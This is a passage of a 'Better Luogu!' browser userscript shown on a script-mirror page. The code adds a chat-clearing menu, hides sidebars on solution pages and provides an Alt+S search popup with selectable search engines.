  788. menu.innerHTML='<svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" style="fill: rgba(0, 0, 0, 1);transform: ;msFilter:;"><path d="M4 6h16v2H4zm0 5h16v2H4zm0 5h16v2H4z"></path></svg>';
  789. const observer = new MutationObserver((mutations) => {
  790. mutations.forEach((mutation) => {
  791. if (mutation.type === 'attributes'){
  792. if(once && document.querySelector('#app > div.main-container > main > div > div.card.wrapper.padding-none > div.main > div > div.top-container > div.title')!=null){
  793. once=false;
  794. document.querySelector('#app > div.main-container > main > div > div.card.wrapper.padding-none > div.main > div > div.top-container > div.title').appendChild(menu);
  795. }
  796. }
  797. });
  798. });
  799. const config = {
  800. attributes: true,
  801. characterData: true,
  802. childList: true,
  803. subtree: true,
  804. attributeOldValue: true,
  805. characterDataOldValue: true
  806. };
  807. observer.observe(index,config);
  808. menu.addEventListener('click', function(){
  809. let chatuser = document.querySelector('#app > div.main-container > main > div > div.card.wrapper.padding-none > div.main > div > div.top-container > div.title > span > span > a > span').textContent;
  810. let chatuid=document.querySelector('#app > div.main-container > main > div > div.card.wrapper.padding-none > div.main > div > div.top-container > div.title > span > span > a').href;
  811. let uid='';
  812. for(let i=chatuid.length-1;i>=0;i--){
  813. if(chatuid[i]>='0'&&chatuid[i]<='9') uid=chatuid[i]+uid;
  814. else break;
  815. }
  816. swal("Better Luogu!",chatuser,{
  817. buttons: {
  818. delete: {
  819. text: "清空私信",
  820. value: "delete"
  821. },
  822. quxiao: {
  823. text: "取消",
  824. value: "cancel"
  825. }
  826. }
  827. })
  828. .then((value)=>{
  829. switch(value){
  830. case 'delete':
  831. deleteChat(uid);
  832. break;
  833. }
  834. });
  835. });
  836. }
  837. else if(nowurl.includes('solution')){
  838. document.querySelector('#app > div.main-container.lside-bar > main > div > div > div.side').remove();
  839. let index=document;
  840. const config = {
  841. attributes: true,
  842. characterData: true,
  843. childList: true,
  844. subtree: true,
  845. attributeOldValue: true,
  846. characterDataOldValue: true
  847. };
  848. const observer = new MutationObserver((mutations) => {
  849. mutations.forEach((mutation) => {
  850. if (mutation.type === 'attributes'){
  851. document.querySelector('#app > div.main-container.lside-bar > main > div > div > div.side').remove();
  852. }
  853. });
  854. });
  855. observer.observe(index,config);
  856. }
  857. document.addEventListener('keydown', function(event){
  858. if(event.altKey && event.key == 's'){
  859. if(search.style.display == 'none'){
  860. search.style.display = 'flex';
  861. showMask();
  862. }
  863. else{
  864. search.style.display = 'none';
  865. search_input.value='';
  866. hideMask();
  867. }
  868. }
  869. });
  870. mask.addEventListener('click',function(){
  871. search.style.display = 'none';
  872. search_input.value='';
  873. hideMask();
  874. });
  875. $('input[name="search"]').keydown(function(e){
  876. if(e.which===13){
  877. let sc=$('input[name="search"]').val();
  878. if(sc!=""){
  879. if(getcookie('engine')=='baidu') window.open('https://www.baidu.com/s?wd=' + sc,'_blank');
  880. else if(getcookie('engine')=='google') window.open('https://mirrorgoogle.us.kg/search?q=' + sc,'_blank');
  881. else if(getcookie('engine')=='bing') window.open('https://cn.bing.com/search?q=' + sc,'_blank');
  882. else window.open(getcookie('engine')+'='+sc,'_blank');
  883. }
  884. }
  885. });
  886. if(document.querySelector('#app > div.main-container.lside-drawer > main > div > div > div.main > div.l-card.reply-editor > div.casket.cs-main.textarea > div.cs-header > div > div:nth-child(1)')!=null){
  887. document.querySelector('#app > div.main-container.lside-drawer > main > div > div > div.main > div.l-card.reply-editor > div.casket.cs-main.textarea > div.cs-header > div > div:nth-child(1)').appendChild(video);
  888. }
  889. }
  890. })();

QingJ © 2025

镜像随时可能失效,请加Q群300939539或关注我们的公众号极客氢云获取最新地址